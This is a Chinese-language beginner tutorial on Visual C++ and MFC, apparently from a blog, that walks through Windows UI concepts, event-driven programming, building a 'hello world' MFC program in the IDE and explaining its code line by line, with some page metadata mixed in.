好的开端是从设计用户界面开始。首先，你要决定什么样的用户能使用该程序并根据需要来设置相应的用户界面对象。Windows 用户界面有一些标准的控制，如按钮、菜单、滚动条和列表等，这对那些 Windows 用户已经是很熟悉了。 要记住的是，作为程序员必须选择一组控制并决定如何把它们安排到屏幕上。传统上，你需要在纸上做一下用户界面的草图，直到对各元素感到满意为止。这对于一 些比较小的项目，以及一些大项目的早期原型阶段是可以的。 下一步，是要实现代码。为任何 Windows 平台建立应用程序时，程序员都有两种选择：C 或 C++。 使用 C，程序员是在 Windows 应用程序界面 ( API ) 的水平上编写代码。该界面是由几百个 C 函数所组成，这些函数在Windows API 参考手册中都有介绍。对于Windows NT, API 被称为 \u0026ldquo;Win32 API\u0026rdquo;，以区别于其用于Windows 3.1的16位 API。 Microsoft 也提供了 C++ 库，它位于任何 Windows API 之上，能够使程序员的工作更容易。它就是Microsoft基本类库 (MFC)，该库的主要优点是效率高。它减少了大量在建立 Windows 程序时必须编写的代码。同时它还提供了所有一般 C++ 编程的优点，例如继承和封装。MFC 是可移植的，例如，在 Windows 3.1下编写的代码可以很容易地移植到 Windows NT 或 Windows 95 上。因此，MFC 很值得推荐的开发Windows 应用程序的方法，在本教程自始至终使用的都是 MFC。 当是使用 MFC 时，你编写的代码是用来建立必要的用户界面控制并定制其外观。同时你还要编写用来响应用户操作这些控制的代码。例如，如果用户单击一个按钮时，你应该有代 码来响应。这就是事件驱动代码，它构成了所有应用程序。一旦应用程序正确的响应了所有允许的控制，它的任务也就完成了。 你可以看出，使用 MFC 进行 Windows 编程时是一件比较容易的的过程。本教程的目的是比较详细地教你如何快速建立专业级的应用程序的技术。Visual C++ 应用程序开发程序环境特别适合于使用 MFC (也有其它开发环境使用MFC，译者注)，所以一起学习 MFC 和 Visual C++ 能够增强你的开发程序的能力。 Windows词汇 在 Windows 用户界面和软件开发中所要用到的词汇都是基本和唯一的。对于新接触该环境的用户，下面复习几个定义以便使我们的讨论更加容易。 Windows应用程序使用几个标准的控制: \u0026#61548; 静态文本标签 \u0026#61548; 按钮 \u0026#61548; 列表框 \u0026#61548; 组合框(一种更高级的列表框) \u0026#61548; 单选按钮 \u0026#61548; 检查按钮 \u0026#61548; 编辑框(单行和多行) \u0026#61548; 滚动条 你可以通过代码或\u0026ldquo;资源编辑器\u0026rdquo;来建立这些控制，在资源编辑器中可以建立对话框和这些控制。在本教程中，我们将使用代码来建立它们。 Windows支持几种类型的应用程序窗口。一个典型的应用程序应该活动在称为\u0026ldquo;框架窗口\u0026rdquo;中。一个框架窗口是一个全功能的主窗口，用户可以改变 尺寸、最小化、最大化等。Windows也支持两种类型的对话框：模式和无模式对话框。模式对话框一旦出现在屏幕上，只有当它退出时，屏幕上该应用程序的 其余部分才能响应。无模式对话框出现在屏幕上时，程序的其余部分也可以作出响应，它就象浮动在上面一样。 最简单的 Windows 应用程序是使用单文档界面(SDI)，只有一个框架窗口。Windows 的钟表、PIF 编辑器、记事本等都是 SDI 应用程序的例子。Windows 也提供了一种称为多文档界面的组织形式，它可用于更复杂的应用程序。MDI 系统允许用户在同一应用程序中同时可以查看多个文档。例如，一个文本编辑器可以允许用户同时打开多个文本文件。使用 MDI 时，应用程序有一个主窗口，在主窗口中有一些子窗口，每个子窗口中各自包含有各自的文档。在MDI框架中，主窗口有一个主菜单，它对主框架中最顶端窗口有 效。各子窗口都可以缩成图标或展开，MDI主窗口也可以变成桌面上的一个图标。MDI界面可能会给你一种第二桌面的感觉，它对窗口的管理和删除混乱的窗口 有很大的帮助。 你所建立的没一个应用程序都会使用它自己的一套控制、菜单结构以及对话框。应用程序界面的好坏取决于你如何选择和组织这些界面对象。Visual C++ 中的资源编辑器可以使你能容易的建立和定制这些界面对象。 事件驱动软件和词汇 所有基于窗口的 GUI 都包含相同的基本元素，它们的操作方式都是相同的。在屏幕上，用户所看到的是一组窗口，每个窗口都包含有控制、图标、对象以及一些处理鼠标和键盘的元素。 从用户角度来看，各系统的界面对象都是相同的：按钮、滚动条、图标、对话框以及下拉菜单等等。尽管这些界面元素的\u0026ldquo;外观和感觉\u0026rdquo;可能有些不同，但这些界面 对象的工作方式都是相同的。例如，滚动条对于Windows、Mac和Motif可能有些不同，但他们的作用完全是一样的。 从程序员的角度来看，这些系统在概念上是相似的，尽管它们可能有很大的不同。为了建立 GUI 程序，程序员第一步要把所有需要的用户界面控制都放到窗口上。例如，如果程序员要建立一个从摄氏到华氏的转换的简单程序，则程序员所选择的用户界面对象来 完成并在屏幕上把结果显示出来。在这个简单的程序中，程序员可能需要用户在一个可编辑的编辑框中输入温度值，在一个不可编辑的编辑框中显示转换结果，然后 让用户可以单击一个标有\u0026ldquo;退出\u0026rdquo;的按钮来退出应用程序。 因为是用户来操作应用程序的控制，所以程序必须作出响应。所做的响应依赖于用户使用鼠标或键盘在不同控制上的操作。屏幕上的每个用户界面对象对事件的响应是不同的。例如，如果用户单击退出按钮，则该按钮必须更新屏幕、加亮它自己。然后程序必须响应退出。 Windows 所用的模式也是类似的。在一个典型的应用程序中，你将建立一个主窗口，并且在其中放置了一些用户界面控制。这些控制通常被称为子窗口――它们就象一些在主 窗口中的更小更特殊的子窗口。作为程序员，你应该通过函数调用来发送信息操作这些控制、通过把信息发送给你到代码来响应用户的操作。 如果你从未做过事件驱动程序设计，则所有这些对你来说可能是很陌生的。但是，事件驱动程序设计方式是很容易理解的。具体的细节对不同的系统可能 有些不同，但是其基本概念是类似的。在一个事件驱动界面中，应用程序会在屏幕上绘制几个界面对象，如按钮、文本区和菜单。应用程序通常通过一段称为事件循 环的的代码来响应用户的操作。用户可以使用鼠标或键盘来任意操作屏幕上的对象。例如，用户用鼠标单击一个按钮。用鼠标单击就称为一个事件。事件驱动系统把 用户的动作如鼠标单击和键盘操作定义为事件，也把系统操作如更新屏幕定义为事件。 在比较低级的编程方法中，如用C直接编写Windows API应用程序，代码量是非常大的，因为你所要照顾的细节太多了。例如，你用某种类型的结构来接收单击鼠标事件。你的事件循环中的代码会查看结构中不同 域，以确定哪个用户界面对象受到了影响，然后会完成相应的操作。当屏幕上有很多对象时，应用程序会变得很大。只是简单地处理哪个对象被单击和对它需要做些 什么要花费大量的代码。 幸运的是，你可以在比较高级的方法来进行编程，这就是使用MFC。在MFC中，几乎所有的低级的细节处理都为你代办了。如果你把某一用户界面对 象放在屏幕上，你只需要两行代码来建立它。如果用户单击一个按钮，则按钮自己会完成一切必要的操作，从更新屏幕上的外观到调用你程序中的预处理函数。该函 数包含有对该按钮作出相应操作的代码。MFC 为你处理所有的细节：你建立按钮并告知它特定的处理函数，则当它被按下时，它就会调用相应的函数。第四部分介绍了怎样使用消息映射来处理事件。 例子 理解一个典型的 MFC 程序的结构和样式的最好方法是输入一段小程序，然后编译和运行它。下面的程序是一段简单的\u0026ldquo;hello world\u0026rdquo;程序。这对很多C程序员都是很熟悉了，让我们看一下如何用MFC方法来实现。如果你是第一次看到这类程序，也许比较难理解。这没关系，我们后 面会详细介绍。现在你只要用Visual C++ 环境中建立、编译和运行它就可以了。 //hello.cpp #include // 说明应用程序类 class CHelloApp : public CWinApp { public: virtual BOOL InitInstance(); }; // 建立应用程序类的实例 CHelloApp HelloApp; // 说明主窗口类 class CHelloWindow : public CFrameWnd { CStatic* cs; public: CHelloWindow(); }; // 每当应用程序首次执行时都要调用的初始化函数 BOOL CHelloApp::InitInstance() { m_pMainWnd = new CHelloWindow(); m_pMainWnd-\u0026gt;ShowWindow(m_nCmdShow); m_pMainWnd-\u0026gt;UpdateWindow(); return TRUE; } // 窗口类的构造函数 CHelloWindow::CHelloWindow() { // 建立窗口本身 Create(NULL, \u0026quot;Hello World!\u0026quot;, WS_OVERLAPPEDWINDOW, CRect(0,0,200,200)); // 建立静态标签 cs = new CStatic(); cs-\u0026gt;Create(\u0026quot;hello world\u0026quot;, WS_CHILD|WS_VISIBLE|SS_CENTER, CRect(50,80,150,150), this); } 上面的这段程序如果用C来实现，得需要几页的代码。这个简单的例子做了三件事。第一，它建立了一个应用程序对象。你所编写的每个 MFC 程序都有一个单一的程序对象，它是处理 MFC 和 Windows 的初始细节的。第二，应用程序建立了一个窗口来作为应用程序的主窗口。最后，在应用程序的窗口中建立了一个静态文本标签，它包含有\u0026ldquo;hello world\u0026rdquo;几个字。在第二部分中我们会仔细研究这段程序，以理解其结构。 启动 VC++，如果你是刚刚安装好，则你会在屏幕上看到一个带有工具栏的空窗口。如果 VC++ 已经在该机器上使用过了，则所显示的窗口可能有些不同，因为 VC++ 会记忆和自动重新打开上次使用后退出时的项目和文件。我们需要的是它没有装如任何项目和代码。如果程序启动后弹出对话框指示不能打开某些文件，你只要单击 \u0026ldquo;No\u0026rdquo;即可。在\u0026ldquo;Window\u0026rdquo;菜单中选取\u0026ldquo;Close All\u0026rdquo;选项关闭所有窗口。在\u0026ldquo;File\u0026rdquo;菜单中选取\u0026ldquo;Close\u0026rdquo;选项来关闭其它窗口。现在，你就处于开始状态了。如果你安装VC++后，第一次运行， 则屏幕应如下所示： 如果你以后不希望看到\u0026ldquo;InfoViewer Topic\u0026rdquo;窗口，你可以用按钮把它关掉。如果以后需要的话，你还可以单击工具栏上的\u0026ldquo;主页\u0026rdquo;按钮来打开该窗口。 现在一切都正常了。正如你所看到的，顶部是菜单和几个工具栏。左边的窗口所显示的是在线帮助内容，你可以双击某项标题来浏览其内容。在线帮助的内容是十分丰富的。 现在该做什么了？你所要做的是输入上面的程序，然后便宜并运行它。开始之前，要检查以下你的硬盘上至少要留有5MB的剩余空间。 建立项目和编译代码 为了在 Visual C++ 中编译代码，你必须要建立一个项目。为了这么小的程序来建立一个项目可能有点小题大作，但是，在任何实际的程序中，项目的概念是非常有用的。一个项目主要保存着下面三种不同类型的信息: 1. 它可以记住建立一个可执行程序所需要的所有源程序代码文件。在这个简单的例子中，文件 HELLO.CPP 是唯一的源文件，但是在一个大型的应用程序中，为了便于管理和维护，你可以会有许多个不同的源文件。项目会维护这些不同文件的列表，并当你要建立下一个新 的可执行程序时，在必要时编译它们。 2. 它会记住针对你的应用程序所使用的编译器和连接器选项。例如，它会记住把哪个库连接到了执行程序中，你是否预编译了头文件等等。 3. 它会记住你想要建立的项目类型: 一个控制台应用程序，或一个窗口应用程序等等。 如果你已经对项目文件有所了解，则会很容易明白作为机器产生的项目文件的作用。现在，我们来建立一个简单的项目，并用它来编译 HELLO.CPP。 为此，首先从\u0026ldquo;File\u0026rdquo;菜单中选择\u0026ldquo;New\u0026rdquo;选项。在\u0026ldquo;Projects\u0026rdquo;标签中，加单击\u0026ldquo;Win32 Application\u0026rdquo;。在\u0026ldquo;Location\u0026rdquo;域中输入一个合适的路径名或单击\u0026ldquo;Browse\u0026rdquo;按钮来选择一个。在\u0026ldquo;Project name\u0026rdquo;中输入\u0026ldquo;hello\u0026rdquo;作为项目名称。这时候你会看到\u0026ldquo;hello\u0026rdquo;也会出现在\u0026ldquo;Location\u0026rdquo;域中。单击\u0026ldquo;OK\u0026rdquo;按钮。Visual C++ 会建立一个新的称为HELLO的目录，并把所有的项目文件 HELLO.OPT、HELLO.NCB、HELLO.DSP 和 HELLO.DSW 都放到该目录中。如果你退出，以后再重新打开该项目，则可选择 HELLO.DSW。 现在，在屏幕的左边，出现了三个标签。InfoView 标签仍然在，又新出现了 ClassView 和 FileView 标签。ClassView 标签会把你程序中所有的类都列出来，FileView 标签给出了项目中文件的列表。 现在可以输入程序的代码了。在\u0026ldquo;File\u0026rdquo;菜单中选择\u0026ldquo;New\u0026rdquo;选项来建立一个编辑窗口。在出现的对话框中，选择\u0026ldquo;Files\u0026rdquo;标签和\u0026ldquo;Text File\u0026rdquo;。则会出现 Visual C++ 的智能编辑器，你可以用它来输入上面的程序代码。输入代码时，你会发现编辑器会自动把不同类型的文本变成不同的颜色，如注释、关键字字符串等的颜色都不 同。如果你要改变其颜色或关闭颜色功能，可选择\u0026ldquo;Tools\u0026rdquo;菜单中\u0026ldquo;Options\u0026rdquo;选项，然后选择\u0026ldquo;Format\u0026rdquo;标签和\u0026ldquo;Source Windows\u0026rdquo;选项就可以修改。 输入完代码后，选择\u0026ldquo;File\u0026rdquo;菜单中的\u0026ldquo;Save\u0026rdquo;选项来保存。在 Visual C++ 新建立的目录中，把它存成 HELLO.CPP 文件。 现在选择在\u0026ldquo;Project\u0026rdquo;菜单中选择\u0026ldquo;Add To Project\u0026rdquo;选项，再选\u0026ldquo;Files\u0026#8230;\u0026rdquo;。你会看到一个对话框供你选择要添加的文件。在本例子中，选择 HELLO.CPP 文件。 在屏幕的左边，单击 FileView 标签，并双击标有 HELLO 的图标。你会看到名为 HELLO.CPP 的文件。单击 ClassView 标签，并双击文件夹图标，你会看到程序中所有的类。任何时候你都可以使用 FileView 来删除项目的文件，你只要单击该文件，然后按键盘上的 delete 键。 后，此时你必须告诉项目要使用MFC库。如果你忽略了这一步，则项目在连接时会出错，而出错信息对你毫无帮助。选择\u0026ldquo;Project\u0026rdquo;菜单的 \u0026ldquo;Settings\u0026rdquo;。在出现的对话框中选择\u0026ldquo;General\u0026rdquo;标签。在\u0026ldquo;Microsoft Foundation Classes\u0026rdquo;组合框中，选择\u0026ldquo;Use MFC in a Shared DLL\u0026rdquo;。然后关闭对话框。 我们已经建立了项目文件，并调整了设置，你现在可以准备编译 HELLO.CPP 程序了。在\u0026ldquo;Build\u0026rdquo;菜单中，你会发现有三个不同的编译选项： 1. Compile HELLO.CPP (只有当含有 HELLO.CPP 的窗口处于激活状态时才可) 2. Build HELLO.EXE 3. Rebuild All 第一个选项只是编译源文件并形成它们的目标文件。该选项不能完成连接任务，所以它只对快速编译一些源文件以检查错误有用。第二个选项编译自上次编译后所修改的所有源文件，并连接形成可执行文件。第三个选项要重新编译和连接所有的源文件。 我们可以选择\u0026ldquo;Build HELLO.EXE\u0026rdquo;来编译和连接代码。Visual C++ 会建立一个名为\u0026ldquo;Debug\u0026rdquo;的新子目录，并把 HELLO.EXE 放在该目录中。该子目录的文件都是可以再产生的，所以你可以任意删除它们。 如果你发现了编译错误，双击输出窗口中的错误信息。这时编辑器会把你带到出错的位置处。检查你的代码是否有问题，如果有，就修改之。如果你看到大 量的连接错误，则可能你在建立项目对话框中所指定的项目类型不对。你可以把该项目所在的子目录删除，然后再重新按上面的步骤来建立。 为了执行该程序，你可选则\u0026ldquo;Build\u0026rdquo;菜单中的\u0026ldquo;Execute HELLO.EXE\u0026rdquo;选项。你就可以看到你的第一个MFC程序了 \u0026#8212; 出现一个带有\u0026ldquo;hello world\u0026rdquo;的窗口。该窗口本身带有：标题栏、尺寸缩放区、最大和最小按钮等等。在窗口上，有一个标有\u0026ldquo;hello world\u0026rdquo;。请注意，该程序是完整的。你可以移动窗口、缩放窗口、最小化等。你只使用了很少的代码就完成了一个完整的 Window 应用程序。这就是使用 MFC 的优点。所有的细节问题都有MFC来处理。 结论 在本讲中，你已经成功地编译和执行了你的第一个 MFC 程序。你将来会用类似的步骤来建立的应用程序。你可以为每个项目建立单独的目录，或建立一个单独的项目文件，然后再添加或删除不同的源文件。 在下一讲中，我们将仔细研究该程序，你会更完整的理解它的结构。 第二部分：一个简单的MFC程序 在本将中，我们将一段一段地来研究上一将中提到的 MFC 应用程序，以便能理解它的结构和概念框架。我们将先介绍 MFC，然后在介绍如何用 MFC 来建立应用程序。 MFC简介 MFC 是一个很大的、扩展了的 C++ 类层次结构，它能使开发 Windows 应用程序变得更加容易。MFC 是在整个 Windows 家族中都是兼容的，也就是说，无论是 Windows3.x、Windows95 还是 Windows NT，所使用的 MFC 是兼容的。每当新的 Windows 版本出现时，MFC 也会得到修改以便使旧的编译器和代码能在新的系统中工作。MFC 也回得到扩展，添加新的特性、变得更加容易建立应用程序。 与传统上使用 C 语言直接访问 Windows API相反，使用 MFC 和 C++ 的优点是 MFC 已经包含和压缩了所有标准的\u0026ldquo;样板文件\u0026rdquo;代码，这些代码是所有用 C 编写的 Windows 程序所必需的。因此用 MFC 编写的程序要比用C语言编写的程序小得多。另外，MFC 所编写的程序的性能也毫无损失。必要时，你也可以直接调用标准 C 函数，因为 MFC 不修改也不隐藏 Windows 程序的基本结构。 使用 MFC 的最大优点是它为你做了所有最难做的事。MFC 中包含了上成千上万行正确、优化和功能强大的 Windows 代码。你所调用的很多成员函数完成了你自己可能很难完成的工作。从这点上将，MFC 极大地加快了你的程序开发速度。 MFC 是很庞大的。例如，版本4.0中包含了大约200个不同的类。万幸的是，你在典型的程序中不需要使用所有的函数。事实上，你可能只需要使用其中的十多个 MFC 中的不同类就可以建立一个非常漂亮的程序。该层次结构大约可分为几种不同的类型的类： \u0026#61548; 应用程序框架 \u0026#61548; 图形绘制的绘制对象 \u0026#61548; 文件服务 \u0026#61548; 异常处理 \u0026#61548; 结构 \u0026#8211; List、Array 和 Map \u0026#61548; Internet 服务 \u0026#61548; OLE 2 \u0026#61548; 数据库 \u0026#61548; 通用类 在本教程中，我们将集中讨论可视对象。下面的列表给出了部分类： \u0026#61548; CObject \u0026#61548; CCmdTarget \u0026#61548; CWinThread \u0026#61548; CWinApp \u0026#61548; CWnd \u0026#61548; CFrameWnd \u0026#61548; CDialog \u0026#61548; CView \u0026#61548; CStatic \u0026#61548; CButton \u0026#61548; CListBox \u0026#61548; CComboBox \u0026#61548; CEdit \u0026#61548; CscrollBar 在上面的列表中，有几点需要注意。第一，MFC 中的大部分类都是从基类 CObject 中继承下来的。该类包含有大部分MFC类所通用的数据成员和成员函数。第二，是该列表的简单性。CWinApp 类是在你建立应用程序是要用到的，并且任何程序中都只用一次。CWnd 类汇集了 Windows 中的所有通用特性、对话框和控制。CFrameWnd 类是从 CWnd 继承来的，并实现了标准的框架应用程序。CDialog 可分别处理无模式和有模式两种类型的对话框。CView 是用于让用户通过窗口来访问文档。最后，Windows 支持六种控制类型: 静态文本框、可编辑文本框、按钮、滚动条、列表框和组合框(一种扩展的列表框)。一旦你理解了这些，你也就能更好的理解 MFC 了。MFC 中的其它类实现了其它特性，如内存管理、文档控制等。 为了建立一个MFC应用程序，你既要会直接使用这些类，而通常你需要从这些类中继承新的类。在继承的类中，你可以建立新的成员函数，这能更适用 你自己的需要。你在第一讲中的简单例子中已经看到了这种继承过程，下面会详细介绍。CHelloApp 和 CHelloWindow 都是从已有的 MFC 类中继承的。 设计一个程序 在讨论代码本身之前，我们需要花些工夫来简单介绍以下 MFC 中程序设计的过程。例如，假如你要编一个程序来向用户显示\u0026ldquo;Hello World\u0026rdquo;信息。这当然是很简单的，但仍需要一些考虑。 \u0026ldquo;hello world\u0026rdquo;应用程序首先需要在屏幕上建立一个窗口来显示\u0026ldquo;hello world\u0026rdquo;。然后需要实际把\u0026ldquo;hello world\u0026rdquo;放到窗口上。我们需要但个对象来完成这项任务: 1. 一个应用程序对象，用来初始化应用程序并把它挂到 Windows 上。该应用程序对象处理所有的低级事件。 2. 一个窗口对象来作为主窗口。 3. 一个静态文本对象，用来显示\u0026ldquo;hello world\u0026rdquo;。 你用 MFC 所建立的每个程序都会包含头两个对象。第三个对象是针对该应用程序的。每个应用程序都会定义它自己的一组用户界面对象，以显示应用程序的输出和收集应用的输入信息。 一旦你完成了界面的设计，并决定实现该界面所需要的控制，你就需要编写代码来在屏幕上建立这些控制。你还会编写代码来处理用户操作这些控制所产生 的信息。在\u0026ldquo;hello world\u0026rdquo;应用程序中，只有一个控制。它用来输出\u0026ldquo;hello world\u0026rdquo;。复杂的程序可能在其主窗口和对话框中需要上百个控制。 应该注意，在应用程序中有两种不同的方法来建立用户控制。这里所介绍的是用 C++ 代码方式来建立控制。但是，在比较大的应用程序中，这种方法是不可行的。因此，在通常情况下要使用资源文件的图形编辑器来建立控制。这种方法要方便得多。 理解\u0026ldquo;hello world\u0026rdquo;的代码 下面列出了你在上一讲中已经输入、编译和运行的\u0026ldquo;hello world\u0026rdquo;程序的代码。添加行号是为了讨论方便。我们来一行行地研究它，你会更好的理解 MFC 建立应用程序的方式。 如果你还没有编译和运行该代码，应该按上一讲的方法去做。 1 //hello.cpp 2 #include 3 // Declare the application class 4 class CHelloApp : public CWinApp 5 { 6 public: 7 virtual BOOL InitInstance(); 8 }; 9 // Create an instance of the application class 10 CHelloApp HelloApp; 11 // Declare the main window class 12 class CHelloWindow : public CFrameWnd 13 { 14 CStatic* cs; 15 public: 16 CHelloWindow(); 17 }; 18 // The InitInstance function is called each 19 // time the application first executes. 20 BOOL CHelloApp::InitInstance() 21 { 22 m_pMainWnd = new CHelloWindow(); 23 m_pMainWnd-\u0026gt;ShowWindow(m_nCmdShow); 24 m_pMainWnd-\u0026gt;UpdateWindow(); 25 return TRUE; 26 } 27 // The constructor for the window class 28 CHelloWindow::CHelloWindow() 29 { 30 // Create the window itself 31 Create(NULL, 32 \u0026quot;Hello World!\u0026quot;, 33 WS_OVERLAPPEDWINDOW, 34 CRect(0,0,200,200)); 35 // Create a static label 36 cs = new CStatic(); 37 cs-\u0026gt;Create(\u0026quot;hello world\u0026quot;, 38 WS_CHILD|WS_VISIBLE|SS_CENTER, 39 CRect(50,80,150,150), 40 this); 41 } 你把上面的代码看一遍，以得到一整体印象。该程序由六小部分组成，每一部分都起到很重要的作用。 首先，该程序包含了头文件 afxwin.h (第 2 行)。该头文件包含有 MFC 中所使用的所有的类型、类、函数和变量。它也包含了其它头文件，如 Windows API 库等。 第 3 至 8 行从 MFC 说明的标准应用程序类 CWinApp 继承出了新的应用程序类 CHelloApp。该新类是为了要重载 CWinApp 中的 InitInstance 成员函数。InitInstance 是一个应用程序开始执行时要调用的可重载函数。 在第10行中，说明了应用程序作为全局变量的一个事例。该实例是很重要的，因为它要影响到程序的执行。当应用程序被装入内存并开始执行时，全局 变量的建立会执行 CWinApp 类的缺省构造函数。该构造函数会自动调用在18至26行定义的 InitInstance 函数。 在第11至17中，CHelloWindow 类是从 MFC 中的 CFrameWnd 类继承来的。CHelloWindow 是作为应用程序在屏幕上的窗口。建立新的类以便实现构造函数、析构函数和数据成员。 第18至26行实现了 InitInstance 函数。该函数产生一个 CHelloWindow 类的事例，因此会执行第27行至41行中类的构造函数。它也会把新窗口放到屏幕上。 第27至41实现了窗口的构造函数。该构造函数实际是建立了窗口，然后在其中建立一个静态文本控制。 要注意的是，在该程序中没有 main 或 WinMain 函数，也没有事件循环。然而我们从上一讲在执行中知道它也处理了事件。窗口可以最大或最小化、移动窗口等等。所有这些操作都隐藏在主应用程序类 CWinApp 中，并且我们不必为它的事件处理而操心，它都是自动执行、在 MFC 中不可见的。 下一节中，将详细介绍程序的各部分。你可能不能马上全都理解得很好: 但你最好先读完它以获得第一印象。在下一讲中，会介绍一些特殊的例子，并偶把各片段组合在一起，有助于你能更好的理解。 程序对象 用 MFC 建立的每个应用程序都要包括一个单一从 CWinApp 类继承来的应用程序对象。该对象必须被说明成全局的(第10行)，并且在你的程序中只能出现一次。 从 CWinApp 类继承的对象主要是处理应用程序的初始化，同时也处理应用程序主事件循环。CWinApp 类有几个数据成员和几个成员函数。在上面的程序中，我们只重载了一个 CWinApp 中的虚拟函数 InitInstance。 应用程序对象的目的是初始化和控制你的程序。因为 Windows 允许同一个应用程序的多个事例在同时执行，因此 MFC 把初始化过程分成两部分并使用两个函数 InitApplication 和 InitInstance 来处理它。此处，我们只使用了一个 InitInstance 函数，因为我们的程序很简单。当每次调用应用程序时都会调用一个新的事例。第3至8行的代码建立了一个称为 CHelloApp 的类，它是从 CWinApp 继承来的。它包含一个新的 InitInstance 函数，是从 CWinApp 中已存在的函数(不做任何事情)重载来的: 3 // Declare the application class 4 class CHelloApp : public CWinApp 5 { 6 public: 7 virtual BOOL InitInstance(); 8 }; 在重载的 InitInstance 函数内部，第18至26行，程序使用 CHelloApp 的数据成员 m_pMainWnd 来建立并显示窗口: 18 // The InitInstance function is called each 19 // time the application first executes. 20 BOOL CHelloApp::InitInstance() 21 { 22 m_pMainWnd = new CHelloWindow(); 23 m_pMainWnd-\u0026gt;ShowWindow(m_nCmdShow); 24 m_pMainWnd-\u0026gt;UpdateWindow(); 25 return TRUE; 26 } InitInstance 函数返回 TRUE 表示初始化已成功的完成。如果返回了FALSE，则表明应用程序会立即终止。在下一节中我们将会看到窗口初始化的详细过程。 当应用程序对象在第10行建立时，它的数据成员(从 CWinApp 继承来的) 会自动初始化。例如，m_pszAppName、m_lpCmdLine 和 m_nCmdShow 都包含有适当的初始化值。你可参见 MFC 的帮助文件来获得更详细的信息。我们将使用这些变量中的一个。 ","permalink":"https://hessian.cn/p/469.html","summary":"Visual C++ MFC 简明教程 第一部分：MFC导论 Visual C++ 不仅仅是一个编译器。它是一个全面的应用程序开发环境，使用它你充分利用具有面向对象特性的 C++ 来开发出专业级的 Windows 应用程序。为了能充分利用这些特性，你必须理解 C++ 程序设计语言。掌握了C++，你就必须掌握 Microsoft 基本类库 (MFC) 的层次结构。该层次 结构包容了 Windows API 中的用户界面部分，并使你能够很容易地以面向对象的方式建立 Windows 应用程序。这种层次结构适用于所有版本的 Windows 并彼此兼容。你用 MFC 所建立的代码是完全可移植的。 该教程将向你介绍MFC的基本概念和术语以及事件驱动程序设计方法。在本节中，你将会输入、编译和运行一个简单的MFC程序。下一节中将向你详细解释这些代码。第三部分讨论了MFC控制和如何定制它们。第四部分将介绍消息映射，你将会处理MFC的事件。 ","title":"Visual C++ MFC 简明教程 [1]"},{"content":"窗口对象 MFC 定义了两个类型的窗口: 1) 框架窗口，它是一个全功能的窗口，可以改变大小、最小化、最大化等等; 2) 对话框窗口，它不能改变大小。框架窗口是典型的主应用程序窗口。 在下面的代码中，从 CFrameWnd 中继承了一个新的类 CHelloWindow: 11 // Declare the main window class 12 class CHelloWindow : public CFrameWnd 13 { 14 CStatic* cs; 15 public: 16 CHelloWindow(); 17 }; 它包括一个新的构造函数，同时还有一个指向程序中所使用的唯一用户界面控制的数据成员。你多建立的每个应用程序在主窗口中都会有唯一的一组控制。 因此，继承类将有一个重载的构造函数以用来建立主窗口所需要的所有控制。典型情况下，该类会包含有一个析构函数以便在窗口关闭时来删除他们。我们这里没有 使用析构函数。在第四讲中，我们将会看到继承窗口类也会说明一个消息处理函数来处理这些控制在响应用户事件所产生的消息。 典型地，一个应用程序将有一个主应用程序窗口。因此，CHelloApp 应用程序类定义了一个名为 m_pMainWnd 成员变量来指向主窗口。为了建立该程序的主窗口，InitInstance 函数(第18至26行)建立了一个 CHelloWindow 事例，并使用 m_pMainWnd 来指向一个新的窗口。我们的 CHelloWindow 对象是在第22行建立的: 18 // The InitInstance function is called each 19 // time the application first executes. 20 BOOL CHelloApp::InitInstance() 21 { 22 m_pMainWnd = new CHelloWindow(); 23 m_pMainWnd-\u0026gt;ShowWindow(m_nCmdShow); 24 m_pMainWnd-\u0026gt;UpdateWindow(); 25 return TRUE; 26 } 只建立一个简单的框架窗口是不够的。还要确保窗口能正确地出现在屏幕上。首先，代码必须要调用窗口的 ShowWindow 函数以使窗口出现在屏幕上(第23行)。其次，程序必须要调用 UpdateWindow 函数来确保窗口中的每个控制和输出能正确地出现在屏幕上(第24行)。 你可能奇怪，ShowWindow 和 UpdateWindow 函数是在哪儿定义的。例如，如果你要查看以便了解它们，你可能要查看 MFC 的帮助文件中的 CFrameWnd 定义部分。但是 CFrameWnd 中并不包含有这些成员函数。CFrameWnd 是从 CWnd 类继承来的。你可以查看 MFC 文档中的 CWnd，你会发现它包含有200多个不同的成员函数。显然，你不能在几分钟内掌握这些函数，但是你可以掌握其中的几个，如 ShowWindow 和UpdateWindow。 现在让我们花几分钟来看一下 MFC 帮助文件中的 CWnd::ShowWindow 函数。为此，你你可以单击帮助文件中的 Search 按钮，并输入\u0026ldquo;ShowWindow\u0026rdquo;。找到后，你会注意到，ShowWindow 只有一个参数，你可以设置不同的参数值。我们把它设置成我们程序中 CHelloApp 的数据成员变量 m_nCmdShow (第23行)。m_nCmdShow 变量是用来初始化应用程序启动的窗口显示方式的。例如，用户可能在程序管理器中启动应用程序，并可通过应用程序属性对话框来告知程序管理器应用程序在启动 时要保持最小化状态。m_nCmdShow 变量将被设置成 SW_SHOWMINIMIZED，并且应用程序会以图标的形式来启动，也就是说，程序启动后，是一个代表该程序的图标。m_nCmdShow 变量是一种外界与应用程序通讯的方式。如果你愿意，你可以用不同的 m_nCmdShow 值来试验 ShowWindow 的效果。但要重新编译程序才能看到效果。 第22行是初始化窗口。它为调用 new 函数分配内存。在这一点上，程序在执行时会调用CHelloWindow的构造函数。该构造函数在每次带类的事例被分配时都要调用。在窗口构造函数的内 部，窗口必须建立它自己。它是通过调用 CFrameWnd 的 Create 成员函数来实现的(第31行): 27 // The constructor for the window class 28 CHelloWindow::CHelloWindow() 29 { 30 // Create the window itself 31 Create(NULL, 32 \u0026quot;Hello World!\u0026quot;, 33 WS_OVERLAPPEDWINDOW, 34 CRect(0,0,200,200)); 建立函数共传递了四个参数。通过查看 MFC 文档，你可以了解不同类型。NULL 参数表示使用缺省的类名。第二个参数为出现在窗口标题栏上的标题。第三个参数为窗口的类型属性。该程序使用了正常的、可覆盖类型的窗口。在下一讲中将详细 介绍类型属性。第四个参数指出窗口应该放在屏幕上的位置和大小，左上角为(0,0), 初始化大小为 200\u0026times;200个象素。如果使用了 rectDefault，则 Windows 会为你自动放置窗口及大小。 因为我们的程序太简单了，所以它只在窗口中建立了一个静态文本控制。见第35至40行。下面将详细介绍。 静态文本控制 程序在从 CFrameWnd 类中继承 CHelloWindow 类时(第11至17行)时，说明了一个成员类型 CStatic及其构造函数。 正如在前面所见到的，CHelloWindow 构造函数主要做两件事情。第一是通过调用Create函数(第31行)来建立应用程序的窗口。然后分配和建立属于窗口的控制。在我们的程序中，只使用了一 个控制。在 MFC 中建一个对象总要经过两步。第一是为类的事例分配内存，然后是调用构造函数来初始化变量。下一步，调用 Create 